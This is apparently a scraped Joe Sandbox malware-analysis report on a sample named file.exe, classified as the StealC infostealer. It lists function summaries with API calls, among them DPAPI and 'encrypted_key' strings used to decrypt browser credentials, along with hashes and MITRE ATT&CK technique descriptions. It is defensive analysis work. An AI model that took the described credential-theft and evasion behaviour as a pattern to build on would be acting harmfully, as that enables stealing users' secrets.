Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 0988fc431ecdb902e3425951a666ea2033c34fa9af9b7280c891aa339e398686
Instruction ID: 9214632bb833c2c6ffafed0464c2901d8570c2d6084f938f6728788b8dead108
Opcode Fuzzy Hash: 0988fc431ecdb902e3425951a666ea2033c34fa9af9b7280c891aa339e398686
Instruction Fuzzy Hash: DD3145B9D10109ABCF14DFE4DD85EEFB7B8BF88304F144519E905A7241EB349A15CBA1

Function 00A592E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00A53AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00A53AEE,?), ref: 00A592FC
GetFileSizeEx.KERNEL32(000000FF,00A53AEE), ref: 00A59319
CloseHandle.KERNEL32(000000FF), ref: 00A59327

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: e6336d392901440cdd0f2be8ec88e755a9e3f9c4f5fdf98236a487f75c59579c
Instruction ID: 5487eff025364a9a3f4694b8edb79c04ff3d5bb0d818cd52b6715c2e7206c625
Opcode Fuzzy Hash: e6336d392901440cdd0f2be8ec88e755a9e3f9c4f5fdf98236a487f75c59579c
Instruction Fuzzy Hash: 0EF04F35E40208FBEB10DFB4DC49F9E77B9FB48721F10C258BA51AB2C0DA7496059B44

Function 00A5C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00A5C74E

Part of subcall function 00A5BF9F: __amsg_exit.LIBCMT ref: 00A5BFAF

__getptd.LIBCMT ref: 00A5C765
__amsg_exit.LIBCMT ref: 00A5C773
__updatetlocinfoEx_nolock.LIBCMT ref: 00A5C797

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: d589267e729ba8edf6be06eaa99fc8e486694439abc19c93d1b06e696c5f71ad
Instruction ID: 5b4dd0efd8122e88bb0fd4a2d8a58508f9140e813f9433c303496e1244cea62e
Opcode Fuzzy Hash: d589267e729ba8edf6be06eaa99fc8e486694439abc19c93d1b06e696c5f71ad
Instruction Fuzzy Hash: 06F09A72A10710AFD720BBB89A06B4A33B07F04737F244249FC15A65D6CB745A8D9EA6

Function 00A54F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A58DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A58E0B

lstrcat.KERNEL32(?,00000000), ref: 00A54F7A
lstrcat.KERNEL32(?,00A61070), ref: 00A54F97
lstrcat.KERNEL32(?,01609278), ref: 00A54FAB
lstrcat.KERNEL32(?,00A61074), ref: 00A54FBD

Part of subcall function 00A54910: wsprintfA.USER32 ref: 00A5492C
Part of subcall function 00A54910: FindFirstFileA.KERNEL32(?,?), ref: 00A54943

Part of subcall function 00A54910: StrCmpCA.SHLWAPI(?,00A60FDC), ref: 00A54971
Part of subcall function 00A54910: StrCmpCA.SHLWAPI(?,00A60FE0), ref: 00A54987
Part of subcall function 00A54910: FindNextFileA.KERNEL32(000000FF,?), ref: 00A54B7D
Part of subcall function 00A54910: FindClose.KERNEL32(000000FF), ref: 00A54B92

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: bf839d936ea9fc35a13599dcf942a1a8a4df038367c1a87b0168cac702b6d52f
Instruction ID: ae8a4290881c30614c5a8eff6da4b14377b6a14da6fba0431924c74bbd0036ed
Opcode Fuzzy Hash: bf839d936ea9fc35a13599dcf942a1a8a4df038367c1a87b0168cac702b6d52f
Instruction Fuzzy Hash: E521AA76900208A7D754FBB0DD46FEE337CBB98301F004555B65993181EE749ACD8BA7

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00A59860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00A445C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00A44880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00A59C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00A46280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00A55510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00A517A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00A57500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00A569F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00A41220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00A56AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00A447B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00A551F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON